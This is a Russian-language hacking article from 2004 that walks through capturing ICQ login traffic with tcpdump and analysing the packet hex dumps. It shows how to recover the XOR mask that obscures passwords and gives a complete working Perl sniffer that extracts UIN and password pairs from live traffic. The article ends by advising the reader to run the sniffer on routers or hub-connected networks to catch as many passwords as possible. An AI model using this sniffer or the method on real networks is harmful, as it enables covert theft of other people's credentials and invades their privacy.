Перехват ICQ паролей

Константин Клягин http://konst.org.ua

Стряпаем снифер на коленке

Из достоверных источников поступила информация о том, что всеми любимая аська имеет довольно дырявую схему аутентификации и подключения к серверу. В отличие от других программ для быстрого общения, таких как MSN (.NET) Messenger и Yahoo! Messenger, использующих алгоритм MD5 для проверки пароля по контрольным суммам, в ICQ пароли передаются чуть ли не в открытую. Чему это учит молодых хулиганствующих сетевых маньяков? Ответ прост: пользуясь тем, что логин-информация передается при каждом подключении к центральному серваку, можно написать снифер, занимающийся автоматическим "выкусыванием" пароля из сетевого трафика. Об этом и пойдет сегодняшний разговор.

Чтобы достичь нашей цели, будет вполне достаточно разобрать логин-пакет. Логично предположить, что только он и содержит нужное нам поле - пароль. Чтобы расшифровать структуру такого пакета, наряду с каким-нибудь ICQ-клиентом нам понадобится снифер. Конечно, для этих целей есть масса навороченных инструментов, с такой же неслабой процедурой инсталляции и мануалом на пару сотен страниц. Нам это не подходит. Зачем? Ведь для данной задачи сгодится самый что ни на есть стандартный, бытовой tcpdump. Утилита эта входит почти в каждый дистрибутив Linux и имеет достаточное количество всевозможных параметров, управляющих ее поведением.

Снифим ICQ-пакеты

Итак, имеется: роутер под каким-нибудь юниксом (у меня Linux) и виндовая машина с ICQ. Впрочем, совсем не обязательно иметь два разных компа. Настоящие сетевые хулиганы по достоинству оценили VMWare - фактически эмулятор компьютера, на котором "в окошке" можно запустить практически любую ОС. Так вот, здесь имеется инсталляция Linux, в ней запущен VMWare с Windows 98. Обе системы общаются по виртуальной TCP/IP сети, да и весь трафик проходит через Linux - как раз то, что нужно. Запускаем tcpdump из-под root:

# tcpdump -X -s 65535 -i any -l 'dst host login.icq.com && src host vasya.ournet.int' | less

Все это значит, что снифер будет выводить пакеты целиком (-s 65535 - максимальная длина), вместе с дампом hex (-X). Чтобы не заморачиваться, сетевой интерфейс - любой (-i any). Последний параметр - логическое выражение, определяющее фильтр для отображаемых пакетов. В нашем случае оно означает "показывать трафик, предназначенный машине login.icq.com, идущий от vasya.ournet.int". Последнее - имя машины с Windows. Можно поставить не хост, а просто IP-адрес. При незнании всего этого и полной уверенности в том, что никаких ICQ-клиентов в Сети больше нет, часть аргументов после "&&" можно опустить. С помощью "| less" (или "| more") будем смотреть вывод. Что же мы увидим?

12:37:11.598962 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: S 19249:619249(0) win 8192 <mss 1460,nop,nop,sackOK> (DF)

0x0000 4500 0030 e600 4000 8006 9db6 c0a8 ae02 E..0..@.........

0x0010 400c c859 0421 1446 0009 72f1 0000 0000 @..Y.!.F..r.....

0x0020 7002 2000 60ad 0000 0204 05b4 0101 0402 p...`...........

12:37:11.978903 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: . ack

3835389642 win 9520 (DF)

0x0000 4500 0028 e700 4000 8006 9cbe c0a8 ae02 E..(..@.........

0x0010 400c c859 0421 1446 0009 72f2 e49b 66ca @..Y.!.F..r...f.

0x0020 5010 2530 3ccb 0000 0000 0000 0000 P.%0<.........

12:37:12.242904 vasya.ournet.int.1057 > ibucp-vip-m.blue.aol.com.5190: P 0:138(138) ack 11 win 9510 (DF)

0x0000 4500 00b2 e800 4000 8006 9b34 c0a8 ae02 E.....@....4....

0x0010 400c c859 0421 1446 0009 72f2 e49b 66d4 @..Y.!.F..r...f.

0x0020 5018 2526 f4f1 0000 2a01 6bd0 0084 0000 P.%&....*.k.....

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 068b 5ef9 f50b b500 0300 3349 4351 ....^.......3ICQ

0x0050 2049 6e63 2e20 2d20 5072 6f64 7563 7420 .Inc..-.Product.

0x0060 6f66 2049 4351 2028 544d 292e 3230 3030 of.ICQ.(TM).2000

0x0070 622e 342e 3630 2e31 2e33 3237 382e 3835 b.4.60.1.3278.85

0x0080 0016 0002 010a 0017 0002 0004 0018 0002 ................

0x0090 003c 0019 0002 0001 001a 0002 0cce 0014 .<..............

0x00a0 0004 0000 0055 000f 0002 656e 000e 0002 .....U....en....

0x00b0 7573 us

Итак, внимание! Последний блок данных содержит UIN (251982678) в виде обычного текста. На руку нам играет тот факт, что внутри логин-пакета находится и уникальная сигнатура - " .. Product of ICQ (TM) ..". По этой сигнатуре мы сможем отлавливать пакеты в автоматическом режиме. Но где же пароль?

Отключим настройку для запоминания пароля в "аське". Идем в ICQ -> Security & Privacy -> Password и убираем галочку с "Save password". Нажимаем "Save", вводим верный пароль - программа зачем-то его спрашивает при изменении настроек. После чего пытаемся залогиниться с разными неправильными паролями, не забывая наблюдать за трафиком.

Вот пакет с паролем "abcd":

0x0000 4500 00b0 fc00 4000 8006 adf6 c0a8 ae02 E.....@.........

0x0010 400c a199 0424 1446 0011 b946 0d8a 9483 @....$.F...F....

0x0020 5018 2526 9df2 0000 2a01 72b3 0082 0000 P.%&....*.r.....

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 0492 44e2 a000 0300 3349 4351 2049 ....D.....3ICQ.I

0x0050 6e63 2e20 2d20 5072 6f64 7563 7420 6f66 nc..-.Product.of

0x0060 2049 4351 2028 544d 292e 3230 3030 622e .ICQ.(TM).2000b.

0x0070 342e 3630 2e31 2e33 3237 382e 3835 0016 4.60.1.3278.85..

0x0080 0002 010a 0017 0002 0004 0018 0002 003c ...............<

0x0090 0019 0002 0001 001a 0002 0cce 0014 0004 ................

0x00a0 0000 0055 000f 0002 656e 000e 0002 7573 ...U....en....us

А вот - "123":

0x0000 4500 0028 0601 4000 8006 7dbe c0a8 ae02 E..(..@...}.....

0x0010 400c c859 0427 1446 001b 367c 4530 25e8 @..Y.'.F..6|E0%.

0x0000 4500 00af 0701 4000 8006 7c37 c0a8 ae02 E.....@...|7....

0x0010 400c c859 0427 1446 001b 367c 4530 25f2 @..Y.'.F..6|E0%.

0x0020 5018 2526 11d0 0000 2a01 7aa9 0081 0000 P.%&....*.z.....

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 03c2 14b2 0003 0033 4943 5120 496e .........3ICQ.In

0x0050 632e 202d 2050 726f 6475 6374 206f 6620 c..-.Product.of.

0x0060 4943 5120 2854 4d29 2e32 3030 3062 2e34 ICQ.(TM).2000b.4

0x0070 2e36 302e 312e 3332 3738 2e38 3500 1600 .60.1.3278.85...

0x0080 0201 0a00 1700 0200 0400 1800 0200 3c00 ..............<.

0x0090 1900 0200 0100 1a00 020c ce00 1400 0400 ................

0x00a0 0000 5500 0f00 0265 6e00 0e00 0275 73 ..U....en....us

За исключением мелких различий в начале пакета, основная изменяющаяся часть следует за номером клиента (UIN). К тому же, только она имеет различную длину в собранных примерах для разных паролей. Смотрим внимательнее на соответствующие куски:

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 068b 5ef9 f50b b500 0300 3349 4351 ....^.......3ICQ

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 0492 44e2 a000 0300 3349 4351 2049 ....D.....3ICQ.I

0x0030 0001 0001 0009 3235 3139 3832 3637 3800 ......251982678.

0x0040 0200 03c2 14b2 0003 0033 4943 5120 496e .........3ICQ.In

Строке с номером UIN предшествует ее длина - девятка. Заканчивается строка нулем. Верится, что пароль выглядит точно так же. И действительно - правильный его вариант - "xxx123" имеет длину 6 байт, что мы и видим в первом примере. Четверка во втором равна длине строки "abcd", а в блоке из последнего примера фигурирует тройка, потому что тогда мы пытались войти с паролем "123". Наблюдаемая картина называется защитой "от дурака". Пароль передается в "слегка" зашифрованном виде, дабы его не было видно просто так с помощью снифера. Есть информация, что применяемый метод - банальный xor (исключающее "или"). Следует проверить, так ли это на самом деле.

Проверка на тип шифрования

Вспомним, что исключающее "или" - полностью обратимая операция (читай об этом статью "Криптография в С++" в этом же номере), поэтому, если "a xor b = c", то "a xor c = b" и "c xor b = a". Порядок параметров тоже не имеет значения (a xor b = b xor a). Шифровать таким способом пароли - то еще извращение, поскольку он приводится практически в любом детском учебнике криптографии как самый простой пример.

XOR имеется в любом языке, но раз уж мы работаем в UNIX и не хотим морочить себе голову компиляцией, линковкой и прочими ненужными на данный момент операциями, выберем оптимальный набор инструментов. Возьмем Perl и напишем на нем небольшую программку. Она будет выяснять число xor для символа в каждой позиции из примера с самым длинным паролем и пытаться с его помощью расшифровать остальные два.

Не забудем записать текст программы в файл и выполнить "chmod +x <имя файла>", чтобы в итоге дать права для его запуска.

#!/usr/bin/perl

$pass1 = "\x8b\x5e\xf9\xf5\x0b\xb5";

$rightpass1 = "xxx123";

$pass2 = "\x92\x44\xe2\xa0";

$rightpass2 = "";

$pass3 = "\xc2\x14\xb2";

$rightpass3 = "";

$xorseq = "";

for($i = 0; $i < length($pass1); $i++) {

$n = ord(substr($pass1, $i, 1)) ^ ord(substr($rightpass1, $i, 1));

$xorseq .= chr($n);

if(length($rightpass2) < length($pass2)) {

$rightpass2 .= chr(ord(substr($pass2, $i, 1)) ^ $n);

}

if(length($rightpass3) < length($pass3)) {

$rightpass3 .= chr(ord(substr($pass3, $i, 1)) ^ $n);

}

}

print "rightpass2 = $rightpass2\n";

print "rightpass3 = $rightpass3\n";

print "xor sequence: ";

for($i = 0; $i < length($xorseq); $i++) {

printf "\\x%x", ord(substr($xorseq, $i, 1));

}

print "\n";

Все верно, пароли шифруются при помощи XOR с одной и той же маской. Вот вывод:

rightpass2 = abcd

rightpass3 = 123

xor sequence: \xf3\x26\x81\xc4\x39\x86

Такой финт ушами позволил нам выяснить позиционно-зависимые числа, используемые для операции xor с шестью первыми символами. Для расшифровки паролей любой длины, вплоть до максимальной, посмотрим на логин-пакет, содержащий восьмисимвольный пароль (ICQ для Windows не дает вводить больше восьми символов). Следуя уже привычной схеме, подставим его в текст программы (переменная $pass1), а расшифрованный вариант - в $rightpass1. Итог - последовательность байт "\xf3\x26\x81\xc4\x39\x86\xdb\x92". Зная ее, можно легко расшифровать любой ICQ-пароль. Знание - сила :).

Собственно и сам снифер ICQ-паролей

Обычно написание какого-то специфического снифера, особенно в первый раз - занятие не из легких. Ведь прежде всего нужно разобраться в системных вызовах, предназначенных для управления сетевыми интерфейсами. Затем написать набор функций для вычитывания проходящего трафика, фильтруя при этом только нужные пакеты по определенным признакам. Можно взять библиотеку libpcap и начать разбираться с ней. Тот еще напряг. Такой подход может испортить все впечатление от снифинга как такового и растянуть процесс написания на неопределенное время. Поэтому мы поступим несколько иначе.

Взамен предлагается использовать знакомый стандартный и удобный инструмент - tcpdump, который содержит в себе все необходимые функции для перехвата трафика. Нам даже не придется копаться в его исходниках. Дело в том, что с помощью одного полезного параметра командной строки (-w) можно сделать так, что весь нужный трафик будет выводиться в виде потока в файл или на стандартное устройство вывода (терминал). Абсолютно неприемлемо для просмотра "вручную", где режим hex выглядит гораздо приятнее, но для автоматического анализа - самое оно.

То, что мы напишем, будет программой-надстройкой над tcpdump, читающей вывод последнего. Буржуи называют это front-end. При обнаружении логин-пакета, содержимое его будет разобрано, и пара UIN/пароль "выкушена" и показана. Опять же, язык реализации выберем по признаку удобства анализа строк - Perl. Благодаря поддержке регулярных выражений, "отлов" пакета в нем будет занимать всего одну строчку.

#!/usr/bin/perl

sub decryptpassword {

my ($pass) = @_;

my $res = "";

my $xorseq = "\xf3\x26\x81\xc4\x39\x86\xdb\x92";

for(my $i = 0; $i < length($pass); $i++) {

$res .= chr(ord(substr($pass, $i, 1)) ^ ord(substr($xorseq, $i, 1)));

}

return $res;

}

my $buf;

open(DUMP, "tcpdump -w - -s 65535 -i any -l 'dst host login.icq.com'|")

or die "cannot run tcpdump(8)";

while(!eof(DUMP)) {

$buf .= getc(DUMP);

if($buf =~ m/\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$/) {

my $uin = $1;

my $pass = decryptpassword($2);

print "found. $uin :: $pass\n";

$buf = "";

}

}

close(DUMP);

Готовый снифер занимает 37 строк. Краткий обзор его жизнедеятельности:

1. open(DUMP, ..) запускает tcpdump с нужными нам параметрами. Символ "|" в конце команды говорит, что вывод программы будет перенаправлен и ассоциирован с символом DUMP, который ведет себя как обычный файл, открытый на чтение. Если запуск не удался, конструкция "or die" завершит выполнение программы с указанным сообщением об ошибке.

2. Весь процесс выполняется внутри цикла while(!eof(DUMP)) - пока не завершится программа, которая закроет за собой и поток DUMP.

3. Поток вычитывается посимвольно с помощью функции getc(). Все полученные байты складываются в буфер - $buf. Как только в нем обнаруживается логин-пакет, срабатывает if(), который проверяет соответствие накопленной последовательности регулярному выражению, построенному на основе собранной нами выше информации о протоколе. "Привязывается" оно к сигнатуре в конце и к неизменным байтам в начале пакета, за которыми следует UIN.

"\000\000\000\001\000\001..(\d+)\000\002..(.+)\000\003..ICQ Inc. - Product of ICQ \(TM\)$"

4. Взятые в скобки части выражения автоматически помещаются в позиционно-зависимые переменные $1 и $2. UIN и пароль у нас в кармане. Для расшифровки последнего имеется небольшая функция decryptpassword(), написанная по мотивам наших экспериментов с xor во время разбора структуры протокола.

5. После показа отловленного пароля, буфер очищается и злобный снифер продолжает работу, лишая законопослушных граждан приватности и веры в справедливость.

Разбор полетов

По большому счету продемонстрированный подход к анализу сетевого трафика можно применить по отношению к любому протоколу. С помощью подобных надстроек можно отлавливать не только пароли, но и сообщения, контакты, шифровки, явки и адреса конспиративных квартир. Все, о чем нужно позаботиться, это правильное регулярное выражение и параметр-условие для tcpdump.

Для достижения хороших результатов, величина которых прямо пропорциональна количеству отловленных паролей, программу желательно запускать на машинах, выполняющих в сети роль роутера, и через которые проходит максимальный сетевой трафик. С другой стороны, при определенной конфигурации внутренней интранет-сети, снифер можно поставить просто на одной из машин, и он тоже будет неплохо справляться со своей работой, так как весь трафик будет доступен на сетевом интерфейсе каждой из рабочих станций в сети. Такое происходит только в том случае, если все рабочие станции и шнур от ISP завязаны друг с другом через HUB. Так что экспериментируй, находи новые методы анализа трафика



Опубликовал admin
24 Фев, Вторник 2004г.

503 Service Unavailable

No server is available to handle this request.


Программирование для чайников.